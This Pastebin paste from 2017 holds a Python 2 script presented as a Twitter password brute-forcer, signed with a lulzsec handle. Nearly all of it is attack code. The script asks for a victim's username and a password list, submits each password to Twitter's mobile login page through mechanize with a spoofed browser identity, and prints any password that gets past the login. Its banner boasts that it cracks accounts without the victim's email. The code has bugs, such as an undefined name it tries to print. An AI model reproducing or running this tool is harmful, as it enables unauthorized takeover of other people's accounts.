Advertisement
Guest User

Twitter.py bruteforcer

a guest
Jul 11th, 2017
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.73 KB | None | 0 0
  1. Place proper python activation codes on here name it .py run in terminal:)
  2. My Twitta = @lulzsec
  3.  
  4.  
  5.  
  6. import sys
  7. import random
  8. import mechanize
  9. import cookielib
  10.  
  11.  
  12. print "Note: - This tool can crack Twitter account even if you don't have the email of your victim"
  13. print "# Hit CTRL+C to quit the program"
  14.  
  15.  
  16.  
  17. username = str(raw_input("# Enter |Username| Twitter : "))
  18. passwordlist = str(raw_input("Enter the name of the password list file : "))
  19.  
  20. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  21.  
  22.  
  23.  
  24. login = 'https://mobile.twitter.com/session'
  25. def attack(password):
  26.  
  27. try:
  28. sys.stdout.write("\r[*] trying %s.. " % password)
  29. sys.stdout.flush()
  30. br.addheaders = [('User-agent', random.choice(useragents))]
  31. site = br.open(login)
  32. br.select_form(nr=0)
  33.  
  34.  
  35.  
  36.  
  37. ##Twitter
  38. br.form['username'] = username
  39. br.form['password'] = password
  40. br.submit()
  41. log = br.geturl()
  42. if log != login:
  43. print "\n\n\n [*] Password Twitter found .. !!"
  44. print "\n [*] Password : %s\n" % (password)
  45. sys.exit(1)
  46. except KeyboardInterrupt:
  47. print "\n[*] Exiting program .. "
  48. sys.exit(1)
  49.  
  50. def search():
  51. global password
  52. for password in passwords:
  53. attack(password.replace("\n",""))
  54.  
  55.  
  56.  
  57. def check():
  58.  
  59. global br
  60. global passwords
  61. try:
  62. br = mechanize.Browser()
  63. cj = cookielib.LWPCookieJar()
  64. br.set_handle_robots(False)
  65. br.set_handle_equiv(True)
  66. br.set_handle_referer(True)
  67. br.set_handle_redirect(True)
  68. br.set_cookiejar(cj)
  69. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  70. except KeyboardInterrupt:
  71. print "\n[*] Exiting program ..\n"
  72. sys.exit(1)
  73. try:
  74. list = open(passwordlist, "r")
  75. passwords = list.readlines()
  76. k = 0
  77. while k < len(passwords):
  78. passwords[k] = passwords[k].strip()
  79. k += 1
  80. except IOError:
  81. print "\n [*] Error: check your password list path \n"
  82. sys.exit(1)
  83. except KeyboardInterrupt:
  84. print "\n [*] Exiting program ..\n"
  85. sys.exit(1)
  86. try:
  87. print GHT
  88. print " [*] Account to crack : %s" % (username)
  89. print " [*] Loaded :" , len(passwords), "passwords"
  90. print " [*] Cracking, please wait ..."
  91. except KeyboardInterrupt:
  92. print "\n [*] Exiting program ..\n"
  93. sys.exit(1)
  94. try:
  95. search()
  96. attack(password)
  97. except KeyboardInterrupt:
  98. print "\n [*] Exiting program ..\n"
  99. sys.exit(1)
  100.  
  101. if __name__ == '__main__':
  102. check()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement